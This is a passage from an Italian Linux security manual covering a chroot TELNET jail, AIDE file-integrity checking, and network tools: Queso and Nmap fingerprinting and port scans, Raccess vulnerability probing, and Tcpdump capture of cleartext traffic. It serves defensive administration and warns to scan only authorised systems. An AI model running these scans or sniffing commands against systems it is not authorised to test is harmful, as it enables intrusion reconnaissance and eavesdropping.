Una volta definito questo, dopo aver innestato anche la directory '/sicura/proc/' e dopo aver riavviato il supervisore dei servizi di rete, si può accedere con un cliente TELNET nel proprio sistema locare come utente '**root**', per sistemare le cose (per farlo, temporaneamente, occorre che il file '/sicura/etc/securetty' preveda anche i dispositivi '/dev/ttyp*', oppure quelli che sono utilizzati effettivamente per l'accesso attraverso TELNET).

Una volta sistemate le cose come si desidera, si deve avere cura di impedire l'accesso remoto da parte dell'utente '**root**', tenendo conto che al limite questo utente potrebbe anche essere cancellato all'interno di '/sicura/etc/passwd'

telnet localhost [*Invio*]

...

Una volta entrati nel mini sistema, dopo essersi accertati che funziona (basta creare un file e su un'altra console virtuale vedere che si trova collocato a partire dalla directory '/sicura/'), si comincia a disinstallare tutto quello che non serve e che non si vuole lasciare usare agli utenti. Probabilmente, tutto quello che riguarda la configurazione della rete dovrebbe essere eliminato, mentre qualche programma cliente particolare potrebbe essere lasciato a disposizione degli utenti.

Anche la directory 'dev/' dovrebbe essere controllata, lasciando al suo interno solo i dispositivi indispensabili. Di certo non servono i dispositivi che permettono l'accesso a unità di memorizzazione: gli utenti remoti non devono avere la possibilità di innestare o staccare dischi.

Gli stessi file 'etc/passwd' e 'etc/group' (ed eventualmente 'etc/shadow') possono essere modificati per eliminare tutti gli utenti di sistema, compreso '**root**', il quale potrebbe comunque essere aggiunto nel momento in cui si volesse fare qualche intervento dall'interno). In pratica, si tratterebbe di lasciare solo gli utenti del servizio TELNET.

48.5.2 Altri programmi affini

- *fakeroot(1)*, *faked(1)* [14]
- *fakechroot(1)* [15]

48.6 Verifica dell'integrità dei file con AIDE

Attraverso l'accumulo di codici di controllo è possibile verificare l'integrità di file e di directory, contro l'uso improprio del sistema, comprendendo eventualmente l'azione di un virus.

AIDE[16] è un programma per la verifica dell'integrità dei file attraverso il confronto con le informazioni accumulate precedentemente, segnalando le aggiunte, le rimozioni e le alterazioni di file e directory. Si tratta di uno strumento prezioso per scoprire gli utilizzi impropri del sistema comprendendo l'azione di cavalli di Troia e virus.

Il funzionamento di AIDE è controllato da un file di configurazione, che generalmente è bene non lasciare nel file system per motivi di sicurezza, inserendolo solo nel momento del bisogno. Tale file di configurazione viene identificato qui con il nome '`aide.conf`', senza stabilire una collocazione ben precisa.

Nello stesso modo, anche il file contenente le informazioni accumulate riguardo allo stato del file system va protetto, preferibilmente togliendolo dal file system stesso, in modo da garantire che non possa essere letto e alterato.

48.6.1 Configurazione di AIDE: «aide.conf»

In generale, a parte i commenti che si indicano preceduti dal simbolo '`#`' e le righe che non contengono direttive, si distinguono tre gruppi:

- direttive di configurazione, con le quali si stabiliscono delle modalità di funzionamento generali;
- direttive di selezione, con le quali si stabiliscono quali file e directory tenere sotto controllo;
- macro-istruzioni.

Le direttive di configurazione hanno la forma seguente:

nome*=*valore

In particolare, quando il valore assegnato si riferisce a un file, viene usata una forma descritta nella tabella 48.57. La descrizione delle direttive di configurazione appare invece nella tabella 48.58.

Tabella 48.57. Modalità di indicazione dei file nelle direttive di configurazione.

Forma	Descrizione
`stdout`	Dati emessi attraverso lo standard output.
`stderr`	Dati emessi attraverso lo standard error.
`stdin`	Dati letti dallo standard input.
`file://`***file***	Si fa riferimento al file indicato.
`fd:`***n***	Si fa riferimento al descrittore di file ***n***.

Tabella 48.58. Direttive di configurazione principali.

Nome	Predefinito	Descrizione
`database`	`file://./aide.db`	File delle informazioni accumulate in precedenza.
`database_out`	`file://./aide.db.new`	File delle informazioni da accumulare.
`report_url`	`stdout`	File usato per emettere le informazioni sull'elaborazione.

Una direttiva di configurazione che fa riferimento a un nome non conosciuto, serve a definire un gruppo. Ciò può essere utile successivamente nelle direttive di selezione, dove si può fare riferimento a questi gruppi senza dover ripetere sempre la stessa espressione di selezione. Questo viene mostrato meglio successivamente.

Le direttive di selezione hanno il formato seguente:

{/|!|=}***voce espressione***

Il primo carattere definisce il modo in cui va interpretata la direttiva:

`/`	include un file, o una directory e tutto il suo contenuto, per la scansione e la verifica;
`!`	escludere completamente un file, o una directory e tutto il suo contenuto, dalla scansione e dalla verifica;
`=`	escludere il contenuto di una directory dalla scansione e dalla verifica.

Ciò che segue il primo carattere è inteso come un'espressione regolare che descrive uno o più percorsi di file e directory. All'interno di queste espressioni regolari, la barra obliqua normale, '**/**', ha significato letterale.

Il confronto attraverso espressioni regolari avviene se tale gestione è stata inclusa in fase di compilazione, pertanto ciò potrebbe anche mancare, funzionando solo un confronto letterale.

L'espressione che segue rappresenta il tipo di controllo da attuare, attraverso l'indicazione di uno o più gruppi. Questi «gruppi» sono parole chiave che definiscono in breve ciò che deve essere verificato; queste parole chiave possono essere unite assieme inserendo il simbolo '**+**', ma può essere usato anche il simbolo '**-**' per sottrarre delle verifiche incluse precedentemente. La tabella 48.61 elenca i gruppi predefiniti e di seguito vengono mostrati alcuni esempi elementari:

```
# Include la directory / e tutte le directory successive
/ p+i+n+u+g+s+m+c+md5

# Esclude la directory /dev/
!/dev

# Analizza esclusivamente la directory /tmp/ senza il suo contenuto
=/tmp
```

Tabella 48.61. Elenco dei gruppi predefiniti.

Simbolo	Descrizione
`p`	Verifica dei bit dei permessi.
`i`	Verifica del numero di inode.
`n`	Numero di collegamenti fisici.
`u`	Utente proprietario.
`g`	Gruppo proprietario.
`s`	Dimensione.
`b`	Conteggio dei blocchi.
`m`	Data di modifica.
`a`	Data di accesso.
`c`	Data di modifica dell'inode.
`S`	Incremento di dimensione.
`md5`	Firma MD5.
`sha1`	Firma SHA1.
`rmd160`	Firma RMD160.
`tiger`	Firma Tiger.
`crc32`	Firma CRC-32 (se incluso in fase di compilazione).
`haval`	Firma Haval (se incluso in fase di compilazione).
`gost`	Firma Gost (se incluso in fase di compilazione).
`R`	Equivalente a '**`p+i+n+u+g+s+m+c+md5`**'.
`L`	Equivalente a '**`p+i+n+u+g`**'.
`E`	Gruppo vuoto.
`>`	File delle registrazioni '**`p+i+n+u+g+S`**'.

In precedenza è stata descritta la possibilità di definire dei gruppi aggiuntivi nell'ambito delle direttive di configurazione. La sintassi di questa direttiva particolare è la seguente:

nome_gruppo = ***gruppo_esistente*** [{+ | -} ***gruppo_esistente***]...

In pratica, il segno '**+**' aggiunge il controllo del gruppo che precede, mentre il segno '**-**' sottrae il controllo del gruppo che precede. A titolo di esempio, viene mostrata la definizione di un gruppo personalizzato, in cui si utilizza il gruppo predefinito '**R**' senza la verifica della firma MD5:

```
Personale = R-md5
```

Successivamente si può utilizzare esattamente come i gruppi predefiniti:

```
/usr Personale
```

È da osservare che i nomi usati nelle direttive di configurazione sono sensibili alla differenza tra maiuscole e minuscole.

Esempio	Descrizione
`/etc p+i+n+u+g+s+m+c+md5`	Verifica la directory '`/etc/`' e tutto il suo contenuto in modo ricorsivo, verificando: i bit dei permessi, i numeri di inode, i riferimenti agli inode, i numeri UID e GID, le date di modifica, le date di creazione degli inode e la firma MD5.
`/etc R`	Esattamente come nell'esempio precedente, dal momento che il gruppo riassuntivo '**R**' rappresenta le stesse cose.
`/etc R+sha1`	Come nell'esempio precedente, aggiungendo il controllo della firma SHA1.
`!/home/pippo`	Esclude qualunque verifica a partire dal percorso '`/home/pippo/`'.
`=/tmp R`	Verifica esclusivamente la directory '`/tmp/`', senza analizzarne il contenuto.

48.6.2 Utilizzo

Il programma '**aide**' è quello che svolge il compito di scansione e verifica dell'integrità dei file e delle directory specificati nel file di configurazione. Si distinguono tre situazioni: la creazione del file contenente le informazioni sulla situazione attuale di ciò che si vuole tenere sotto controllo; l'aggiornamento di queste informazioni in presenza di modifiche volontarie da parte dell'amministratore; la verifica di integrità, cioè il confronto di queste informazioni con la situazione attuale.

aide [*opzioni*]

A seconda di come viene compilato il programma, si stabilisce la collocazione predefinita e il nome del file di configurazione e del file di registrazione delle informazioni. In generale, conviene utilizzare le opzioni necessarie a specificare tali file, quando queste sono disponibili.

È da osservare che AIDE distingue nettamente tra il file contenente le informazioni accumulate in precedenza e quello che viene generato dall'elaborazione. In generale si fa riferimento a '`aide.db`' per le informazioni originali e '`aide.db.new`' per quelle che vengono generate nuovamente. Una volta generato un file nuovo, è compito dell'amministratore cambiargli nome o spostarlo opportunamente. Naturalmente, questa considerazione vale anche quando si usa l'opzione '**--update**' per aggiornare un elenco vecchio, nel qual caso AIDE usa entrambi i file: uno in lettura e l'altro in scrittura.

Opzione	Descrizione
`--init`	Genera il file delle informazioni da conservare, in base alle specifiche della configurazione.
`--update`	Aggiorna il file delle informazioni (legge quello vecchio e ne genera uno nuovo).
`--check`	Verifica l'integrità dei file secondo le informazioni accumulate in precedenza, informando l'utente di conseguenza.
`--config=`*file_di_configurazione*	Consente di indicare esplicitamente il file di configurazione da utilizzare.

- `# `**`aide --init --config=/root/aide.conf`** [*Invio*]

  Genera il file di raccolta delle informazioni, utilizzando un nome predefinito in base alla compilazione dei sorgenti, oppure in base alla configurazione, che in questo caso viene indicato espressamente come '`/root/aide.conf`'.

- `# `**`aide --update --config=/root/aide.conf`** [*Invio*]

  Genera un nuovo file di raccolta delle informazioni aggiornato. Il file di configurazione utilizzato è '`/root/aide.conf`'.

- `# `**`aide --check --config=/root/aide.conf`** [*Invio*]

  Esegue una verifica di integrità, utilizzando il file di configurazione '`/root/aide.conf`'.

48.7 Verifica della vulnerabilità della propria rete

Sono disponibili alcuni applicativi in grado di sondare una rete, o un elaboratore singolo, alla ricerca di informazioni e di problemi noti che possono consentire a un aggressore di compiere delle azioni indesiderabili.

I programmi di questo tipo sono strumenti di aggressione, ma lo scopo dovrebbe essere quello di aiutare gli amministratori a prevenire problemi nella sicurezza della rete di propria competenza. Di conseguenza, tali programmi vanno utilizzati esclusivamente contro sistemi che rientrano nella propria gestione, o per i quali è stata ottenuta l'autorizzazione a farlo.

L'utilizzo di questo genere di programmi lascia normalmente delle tracce nel registro del sistema del nodo analizzato, pertanto queste azioni potrebbero anche essere considerate un'attività ostile e scatenare la reazione degli amministratori rispettivi.

48.7.1 Queso

Queso,[17] è un programma che cerca di determinarne il sistema operativo, attraverso l'invio di pacchetti TCP a una porta qualunque di un certo nodo, purché lì ci sia qualcosa in ascolto. Teoricamente, la scelta della porta è indifferente, purché si tratti di una porta presso cui sia disponibile un servizio in ascolto; comunque, se non viene specificata si fa riferimento alla numero 80.

`queso` [*opzioni*] *indirizzo_ipv4* [`/`*n*] [`:`*porta*]

L'indirizzo, se è seguito da una barra obliqua e da un numero, rappresenta un gruppo di nodi da sondare, dove ciò che segue la barra obliqua è la maschera di rete espressa come quantità di bit a uno da considerare nell'indirizzo. Se l'indirizzo è seguito da due punti e un numero, si intende fare riferimento esplicito a una certa porta da usare per le prove.

Queso ha la necessità di funzionare con i privilegi dell'utente '**root**'.

Segue la descrizione di alcuni esempi:

- `# queso 192.168.1.2` [*Invio*]

  Cerca di determinare con quale sistema operativo funziona il nodo 192.168.1.2.

- `# queso 192.168.1.0/24` [*Invio*]

  Cerca di determinare con quale sistema operativo funzionano i nodi 192.168.1.*.

- `# queso 192.168.1.2:111` [*Invio*]

  Cerca di determinare con quale sistema operativo funziona il nodo 192.168.1.2, utilizzando per questo la porta 111.

Le informazioni in base alle quali è possibile individuare di che tipo di sistema operativo si tratta, sono contenute nel file di configurazione, corrispondente a '`/etc/queso.conf`'. Si comprende intuitivamente come è organizzato questo file, osservando quanto già contiene; se si incontra un tipo di risposta imprevisto, si può aggiornare il file di configurazione con l'opzione '**-w**', andando poi a ritoccare l'annotazione aggiunta con la descrizione del sistema, ammesso di conoscerlo:

```
*- Unknown OS @ 192.168.1.1:80
0 1 +1 1 SA
1 0 0 0 R
2 - - - -
3 0 0 0 R
4 1 +1 1 SA
5 - - - -
6 1 +1 1 SA
```

L'esempio rappresenta ciò che si può ottenere in questi casi, in coda al file. È sufficiente modificare la prima riga, in un modo simile a quello seguente:

```
*- GNU/Linux, kernel 2.4.19
0 1 +1 1 SA
1 0 0 0 R
2 - - - -
3 0 0 0 R
4 1 +1 1 SA
5 - - - -
6 1 +1 1 SA
```

48.7.2 Raccess

Raccess,[18] ovvero Remote Access Session, è un programma molto semplice per la scansione di un elaboratore o di una rete di elaboratori, alla ricerca di problemi. Il suo utilizzo è molto semplice:

```
raccess [opzioni] nodo
```

```
raccess [opzioni] -n indirizzo_ipv4/n
```

L'uso normale di Raccess prevede di sondare un solo nodo, mentre l'opzione '**-n**' consente di indicare un indirizzo IPv4 seguito dalla maschera di rete espressa come quantità di bit iniziali da considerare. Se Raccess si avvia con l'opzione '**-s**' si ottiene la verifica dei servizi di rete disponibili, senza la ricerca di difetti specifici insiti in una certa versione di un certo servizio.

Segue la descrizione di alcuni esempi.

- `$` **`raccess 192.168.1.2`** [*Invio*]

  Verifica le debolezze eventuali del nodo corrispondente all'indirizzo 192.168.1.2. Si ottiene l'elenco dei servizi che sembrano essere disponibili, con le informazioni che questi forniscono, inoltre viene offerta la possibilità di controllare la presenza di carenze specifiche (*exploit*).

- `$` **`raccess -n 192.168.1.1/24`** [*Invio*]

  Esegue una scansione ricorsiva a partire dal nodo 192.168.1.1, per tutti gli indirizzi 192.168.1.*.

Il funzionamento di Raccess richiede comunque una forma di interazione con l'utente; in particolare, al termine dell'analisi di ogni nodo, viene chiesto se conservare o cancellare il rapporto generato. Il file di questo rapporto viene creato eventualmente nella directory corrente, con un nome corrispondente all'indirizzo dell'elaboratore sondato. Per esempio, il file '`192.168.1.2`' contiene le notizie raccolte a proposito del nodo che ha lo stesso indirizzo. Ecco come si può presentare il contenuto di questo file:

```
---------192.168.1.2 Report--------

--Service ssh Port 22 opened!!--
SSH-1.99-OpenSSH_3.4p1 Debian 1:3.4p1-2.1

--Service telnet Port 23 opened!!--
--Service smtp Port 25 opened!!--
220 roggen.brot.dg ESMTP Exim 3.35 #1 Thu, 14 Nov 2002 15:34:31 +0100

--Service www Port 80 opened!!--
Server: Boa/0.94.11

--Service sunrpc Port 111 opened!!--
```

48.7.3 Nmap

Nmap[19] è un programma di scansione delle porte di uno o più nodi di rete, il quale mette a disposizione tecniche differenti per determinare se ci sono servizi disponibili e se ci sono firewall, o comunque altri sistemi che filtrano il passaggio delle comunicazioni. Per la precisione, Nmap distingue tre situazioni:

1. porte a cui corrisponde un servizio che accetta la connessione;
2. porte filtrate da qualcosa, per le quali non si può determinare se esista effettivamente un servizio disponibile;
3. porte inutilizzate, nel senso che non sono abbinate ad alcun servizio di rete, in modo certo.

Nmap si compone in pratica dell'eseguibile '**nmap**', utilizzabile secondo la sintassi generale seguente:

nmap [***metodo_di_scansione***] [***opzioni***] {***nodo*** | ***rete***}...

In pratica, si può specificare un metodo, o più metodi di scansione; se non lo si fa, viene usato quello predefinito che comporta la determinazione dei servizi disponibili, in base al fatto che questi accettano la connessione. Dopo altre opzioni particolari si indicano uno o più gruppi di nodi, secondo varie possibilità. Per la precisione, un gruppo di indirizzi può essere specificato attraverso il nome di dominio:

nome_di_dominio [/***n***]

In questo modo, si fa riferimento al nodo indicato per nome e se appare anche una barra obliqua seguita da un numero intero, si intende includere nella scansione tutti i nodi che rientrano in quella maschera di rete. Per esempio, se *dinkel.brot.dg* corrispondesse all'indirizzo IPv4 1.2.3.4, scrivere '**dinkel.brot.dg/24**' significa fare riferimento a tutti gli indirizzi 1.2.3.*.

Se si utilizzano indirizzi numerici è possibile avvalersi di asterischi per indicarne un gruppo. Gli asterischi possono essere collocati in qualunque posizione e, nel caso di indirizzi IPv4, rappresentano qualunque valore nell'ambito dell'ottetto. Naturalmente, dal momento che l'asterisco è utilizzato normalmente dalla shell per fare riferimento a nomi di file che si trovano nel file system, questo va protetto in qualche modo.

Come accennato sono disponibili molti tipi diversi di metodi di scansione, ma per poterli apprezzare occorre conoscere bene le caratteristiche dei protocolli TCP/IP. L'elenco seguente ne riepiloga alcuni, ma per una descrizione completa e dettagliata è necessario leggere la pagina di manuale *nmap(1)*.

Opzione di scansione	Descrizione
`-sS`	Esegue una scansione di tipo TCP SYN, corrispondente a quella predefinita se l'utente è '**`root`**'.
`-sT`	Esegue una scansione «normale», attraverso la funzione ***connect()*** del sistema operativo, corrispondente a quella predefinita se richiesta da un utente comune senza privilegi.
`-sF`	Scansione di tipo TCP FIN.
`-sX`	Scansione nota come *Xmas tree*.
`-sN`	Scansione nota come *Null scan*.
`-sP`	Scansione attraverso l'invio di richieste di eco ICMP (ping); serve soltanto per determinare la presenza dei nodi ipotizzati.
`-sU`	Scansione alla ricerca di servizi UDP.
`-sO`	Scansione IP, per determinare quali protocolli IP sono disponibili.
`-sA`	Scansione TCP ACK, per determinare la presenza di un firewall e delle sue caratteristiche generali.
`-sW`	Scansione *Window*, intesa come una variante del metodo ottenuto con l'opzione '**`-sA`**'.
`-sR`	Scansione RPC, da abbinare a un altro metodo di scansione, per determinare se le porte di servizi disponibili corrispondono a servizi RPC.

Tra le opzioni che non servono a specificare dei metodi di scansione ce ne sono due di molto utili:

Opzione	Descrizione
`-O`	Cerca di determinare il sistema operativo utilizzato nei nodi oggetto di indagine.
`-p` ***gruppo_porte***	Limita il gruppo di porte che si vogliono scandire. Il gruppo di porte può essere indicato come un elenco separato da virgole o attraverso degli intervalli separati da un trattino medio.
`-v`	Dà maggiori dettagli sul lavoro che viene svolto.

Segue la descrizione di alcuni esempi.

- `$` **`nmap vittima.brot.dg`** [*Invio*]

Esegue una scansione «normale» sul nodo corrispondente al nome *vittima.brot.dg*.

- $ **nmap '192.168.*.*'** [*Invio*]

  Esegue una scansione «normale» su tutti i nodi della rete 192.168.*.*.

- # **nmap -sU vittima.brot.dg** [*Invio*]

  Tenta di determinare le porte UDP abbinate a qualche servizio presso il nodo specificato. Si osservi il fatto che si può usare questa opzione solo in qualità di utente '**root**'.

- # **nmap -sS -sR vittima.brot.dg** [*Invio*]

  Tenta di determinare le porte TCP abbinate a servizi RPC presso il nodo specificato, attraverso una prima scansione di tipo TCP SYN.

- # **nmap -sU -sR vittima.brot.dg** [*Invio*]

  Tenta di determinare le porte UDP abbinate a servizi RPC presso il nodo specificato.

Eventualmente è disponibile anche un programma frontale per l'uso di Nmap attraverso un'interfaccia grafica. Si tratta di '**nmapfe**' che ha l'aspetto visibile nella figura successiva.

Figura 48.71. Nmap attraverso l'interfaccia grafica offerta da '**nmapfe**'.

File View Help

Target(s): 172.21.1.1 Scan Exit

Scan | Discover | Timing | Files | Options

Scan Type: Connect Scan

Relay Host:

Scanned Ports: Default

Range:

Scan Extensions: RPC Scan | Identd Info | OS Detection | Version Probe

```
Starting nmap 3.50 ( http://www.insecure.org/nmap/ ) at 2004-06-18 19:08 CEST
Interesting ports on 172.21.1.1 (172.21.1.1):
(The 1641 ports scanned but not shown below are in state: closed)
PORT     STATE SERVICE
9/tcp    open  discard
13/tcp   open  daytime
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
37/tcp   open  time
53/tcp   open  domain
80/tcp   open  http
111/tcp  open  rpcbind
515/tcp  open  printer
616/tcp  open  unknown
769/tcp  open  vid
873/tcp  open  rsync
992/tcp  open  telnets
996/tcp  open  xtreelic
2049/tcp open  nfs
8080/tcp open  http-proxy

Nmap run completed -- 1 IP address (1 host up) scanned in 0.873 seconds
```

Command: nmap -sT -PT 172.21.1.1

48.8 Strumenti per il controllo e l'analisi del traffico IP

L'analisi del traffico della rete, sia per mezzo dell'intercettazione di tutti i pacchetti che attraversano una rete fisica, sia per mezzo del controllo di ciò che riguarda esclusivamente una singola interfaccia di rete del nodo locale, è molto importante per comprendere i problemi legati alla sicurezza e per scoprire inconvenienti di vario genere.

L'uso produttivo degli strumenti che vengono descritti richiederebbe una preparazione adeguata sulla composizione dei pacchetti dei protocolli TCP/IP, diversamente si riesce solo a sfiorare la comprensione di quello che accade. Tuttavia, per quanto poco, un po' di pratica con questi può essere utile in ogni caso.

48.8.1 Netstat

Netstat[20] è un programma specifico di GNU/Linux, in grado di mostrare in modo agevole alcune informazioni contenute nella directory '`/proc/net/`'. Le informazioni disponibili sono molte, anche troppe, ma qui viene mostrato solo un uso limitato del programma, in relazione ai protocolli TCP/IP.

Le informazioni disponibili riguardano esclusivamente la sfera del nodo locale, comprese le connessioni che lo riguardano.

Netstat potrebbe essere utilizzato per fornire le stesse informazioni che si possono ottenere già da '**`route`**', '**`ifconfig`**' e in parte da '**`iptables`**'. In generale, comunque, questo non dovrebbe essere il suo uso normale, che qui non viene mostrato.

L'eseguibile '**`netstat`**' emette attraverso lo standard output una serie di notizie riferite a tutti i tipi di connessione disponibili, traendo le informazioni dai file virtuali della directory '`/proc/net/`'.

```
netstat [opzioni]
```

Se '**`netstat`**' viene usato senza opzioni, mostra la situazione di tutti i tipi di collegamento, elencando i *socket* aperti. Se tra le opzioni appare l'indicazione di uno o più protocolli, le informazioni che si ottengono si limitano a quanto richiesto espressamente.

Opzione	Descrizione
`-t` `--tcp`	Richiede espressamente lo stato delle connessioni TCP.
`-u` `--udp`	Richiede espressamente lo stato dei *socket* che utilizzano il protocollo UDP.
`--inet` `--ip`	Richiede espressamente le informazioni che riguardano l'uso dei protocolli TCP/IP.
`-e`	Richiede di aggiungere l'indicazione dell'utente proprietario del processo relativo.
`-o`	Richiede di aggiungere l'indicazione dei timer di rete.
`-a`	Elenca tutte le porte utilizzate, incluse quelle dei serventi in ascolto.
`-n`	Mostra le informazioni in forma numerica: indirizzi IP, numeri di porta, numeri UID.

Segue la descrizione di alcuni esempi.

- `#` **`netstat --inet`** [*Invio*]

  Emette l'elenco dei socket di dominio Internet, ovvero tutte le comunicazioni aperte tra i programmi attraverso i protocolli TCP/IP.

- # **netstat --inet -e** [*Invio*]

  Come nell'esempio precedente, aggiungendo l'indicazione degli utenti proprietari dei processi che attuano le connessioni.

- # **netstat --tcp -a** [*Invio*]

  Mostra la situazione delle porte TCP, in particolare quelle dei servizi in ascolto.

Gli elenchi restituiti da Netstat sono composti in forma tabellare. Di seguito appare la descrizione dei nomi delle colonne di queste e poi dei vari tipi di stato.

Colonna	Descrizione
`Proto`	Rappresenta il protocollo utilizzato in ogni porta attiva. Può trattarsi di '**tcp**', '**udp**' e '**raw**'.
`Recv-Q` `Send-Q`	Rappresenta la coda di byte che sono stati ricevuti ma non ancora prelevati dal programma che utilizza la connessione, o che sono stati trasmessi ma per i quali non è stata ricevuta conferma dal nodo remoto.
`Local Address` `Foreign Address`	Rappresenta rispettivamente l'indirizzo locale e quello remoto, completo dell'indicazione della porta relativa.
`User`	Il nome o il numero UID dell'utente proprietario della porta. Si ottiene questa informazione con l'opzione '**-e**'.
`State`	Rappresenta lo stato della porta, indicato attraverso una parola chiave. Lo stato riguarda prevalentemente le connessioni TCP, negli altri casi dovrebbe essere assente.

Stato	Descrizione
`ESTABLISHED`	La porta ha una connessione in corso.
`SYN SENT`	La porta sta tentando di instaurare una connessione.
`SYN RECV`	È in corso l'inizializzazione della connessione.
`FIN WAIT1`	La porta è chiusa e la connessione è in corso di conclusione.
`FIN WAIT2`	La connessione è chiusa e la porta è in attesa della conferma dall'altra parte.
`TIME WAIT`	La porta è in attesa della conferma della conclusione della connessione.
`CLOSED`	La porta non è in uso.
`CLOSE WAIT`	La porte remota conclude la connessione ed è in attesa di conferma dell'altra parte.
`LAST ACK`	La parte remota chiude la connessione e la porta è chiusa: si è in attesa della conferma finale.
`LISTEN`	La porta è in ascolto in attesa di connessioni in arrivo. Queste porte vengono indicate solo se si utilizza l'opzione '**-a**'.
`CLOSING`	Entrambe le porte stanno chiudendo la connessione, ma i dati non sono stati inviati completamente.
`UNKNOWN`	Lo stato della porta è sconosciuto.

A titolo di esempio viene mostrato come può apparire una connessione TELNET tra *dinkel.brot.dg* e *roggen.brot.dg*.

netstat --tcp [*Invio*]

```
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address         Foreign Address       State
tcp        0      0 roggen.brot.dg:1170   dinkel.brot.dg:telnet ESTABLISHED
tcp        0      0 dinkel.brot.dg:telnet roggen.brot.dg:1170   ESTABLISHED
```

48.8.2 Fuser

Fuser[21] è un programma specifico per sistemi GNU/Linux,[22] che consente di individuare facilmente il processo elaborativo che ha aperto un file, oppure una porta (TCP o UDP). Si utilizza attraverso l'eseguibile '**fuser**' e per individuare l'utilizzo di una porta TCP, si usa l'opzione '**-n tcp**', mentre per quanto riguarda porte UDP, si usa l'opzione '**-n udp**'. L'esempio seguente mostra il comando necessario a conoscere il numero identificativo del processo che ha aperto la porta TCP 22:

fuser -n tcp 22 [*Invio*]

```
22/tcp:                598
```

Successivamente, conoscendo il numero UID del processo, con l'aiuto di '**ps**', si può scoprire chi è:

ps ax | grep " 589 " [*Invio*]

```
  598 ?        S      0:00 /usr/sbin/sshd
```

Naturalmente, è possibile avere informazioni più dettagliate direttamente attraverso '**fuser**', con l'opzione '**-v**':

fuser -v -n tcp 22 [*Invio*]

```
                     USER        PID ACCESS COMMAND
22/tcp:              root        598 F.... sshd
```

48.8.3 Tcpdump

Tcpdump [23] è lo strumento fondamentale per l'analisi del traffico che avviene nella rete fisica a cui si è collegati. Permette sia di ottenere una visione sintetica dei pacchetti, sia di visualizzarne il contenuto in esadecimale. Inoltre, è possibile definire un filtro ai pacchetti da prendere in considerazione. Purtroppo, il suo utilizzo efficace richiede un'ottima conoscenza dei protocolli TCP/IP.

I pacchetti vengono analizzati solo nella prima parte, normalmente di 68 byte, perdendo le informazioni successive. Eventualmente, questa dimensione può essere aumentata, anche se in generale ciò è sconsigliabile dal momento che richiederebbe un tempo di elaborazione maggiore, portando anche alla perdita di pacchetti.

Tcpdump può generare un risultato in esadecimale, oppure può emettere i pacchetti così come sono. Per poter interpretare il contenuto dei pacchetti, è necessario conoscere la loro struttura, in base ai protocolli relativi. A titolo di esempio, viene mostrato un programma Perl elementare, per filtrare i caratteri di controllo ASCII:

```
#!/usr/bin/perl

while ($riga = <STDIN>)
  {
    $riga =~ tr/\x00-\x1F//;
    $riga =~ tr/\x7F//;
    $riga =~ tr/\xFF//;
    print STDOUT ("$riga");
  }
```

Supponendo che questo sia il programma '**`filtro`**', si può spiare in modo molto banale ciò che passa per la rete con il comando seguente:

`#` **`tcpdump -l -i eth0 -s 0 -w - | filtro`** [*Invio*]

La cosa diventa ancora più semplice se si vuole utilizzare il programma '**`strings`**' che dovrebbe essere disponibile in tutti i sistemi standard:

`#` **`tcpdump -l -i eth0 -s 0 -w - | strings`** [*Invio*]

Segue il modello sintattico per il suo utilizzo:

`tcpdump` [***opzioni***] [***espressione***]

Tabella 48.80. Alcune opzioni.

Opzione	Significato mnemonico	Descrizione
`-i` ***interfaccia***	*interface*	Definisce l'interfaccia di rete attraverso cui '**`tcpdump`**' deve porsi in ascolto. Se non viene specificata, '**`tcpdump`**' sceglie la prima, ma potrebbe trattarsi anche di '**`lo`**' (*loopback*).
`-l`	*pipeline*	Filtra l'output attraverso una memoria tampone, in modo da gestire meglio i condotti.
`-n`	*numbers*	Fa in modo di non convertire gli indirizzi numerici e i numeri di porta nei nomi corrispondenti.
`-s` ***n_byte***	*split*	Permette di definire esplicitamente la quantità di byte da prendere in considerazione per ogni pacchetto. In modo predefinito vengono trattati solo i primi 68 byte. Quando la lunghezza è troppo breve per dare informazioni sufficienti, se viene identificato almeno il tipo di protocollo, quello che si ottiene è una stringa nella forma '**`[|`*protocollo*`]`**'.
`-w` ***file***	*write*	Memorizza i pacchetti grezzi all'interno di un file, invece di analizzarli ed emetterne il risultato. Il contenuto di questo file può essere elaborato successivamente con l'opzione '**`-r`**'.

Opzione	Significato mnemonico	Descrizione
`-r` *file*	*read*	Legge i pacchetti da quanto accumulato precedentemente in un file attraverso l'opzione '**`-w`**'. In pratica, permette di analizzare quanto raccolto in precedenza.
`-x`	*exa*	Si limita a emettere i pacchetti in forma esadecimale. Per la precisione, viene emessa solo la parte dei pacchetti che rientra nel limite fissato con l'opzione '**`-s`**', ovvero i primi 68 byte se questa non è stata indicata.
`-F` *file*	*filter*	Permette di fornire l'espressione di filtro dei pacchetti attraverso un file indicato con questa opzione.

Segue la descrizione di alcuni esempi.

- `#` **`tcpdump -i eth0`** [*Invio*]

  Emette attraverso lo standard output tutto il traffico che può essere intercettato per mezzo dell'interfaccia '**`eth0`**'.

- `#` **`tcpdump -n -i eth0`** [*Invio*]

  Come nell'esempio precedente, ma le informazioni sugli indirizzi e sui numeri di porta vengono indicati in forma numerica.

- `#` **`tcpdump -x -i eth0`** [*Invio*]

  Emette attraverso lo standard output il contenuto della prima parte dei pacchetti che possono essere intercettati per mezzo dell'interfaccia '**`eth0`**'. Questi dati vengono espressi in forma esadecimale.

L'utilizzo di Tcpdump non è molto utile se non viene definito un filtro a ciò che si vuole analizzare. Per questo motivo, dopo le opzioni normali della riga di comando può essere indicata un'espressione, più o meno articolata: solo i pacchetti che soddisfano la condizione espressa vengono presi in considerazione.

Questa espressione contiene spesso degli spazi: può essere fornita a Tcpdump in un argomento unico utilizzando dei delimitatori, oppure può essere composta da più argomenti in sequenza. Inoltre, attraverso l'opzione '**`-F`**' è possibile fornire l'espressione contenuta in un file; in tal caso, l'espressione può essere scritta su più righe, senza bisogno di simboli di continuazione.

Le espressioni di Tcpdump sono composte da primitive che possono essere raggruppate per mezzo delle parentesi tonde (in modo da evitare ambiguità nell'ordine di risoluzione) e connesse attraverso operatori booleani:

`!` `not`	un punto esclamativo o la parola chiave '**`not`**' rappresenta la negazione logica;
`&&` `and`	una doppia e-commerciale ('**`&&`**') o la parola chiave '**`and`**' rappresenta il concatenamento, ovvero un AND logico;

`||`
 	
`or`
	una doppia barra verticale ('`||`') o la parola chiave '**`or`**' rappresenta l'alternanza, ovvero un OR logico.

All'interno delle primitive possono apparire riferimenti a diversi tipi di entità, che vengono descritte brevemente.

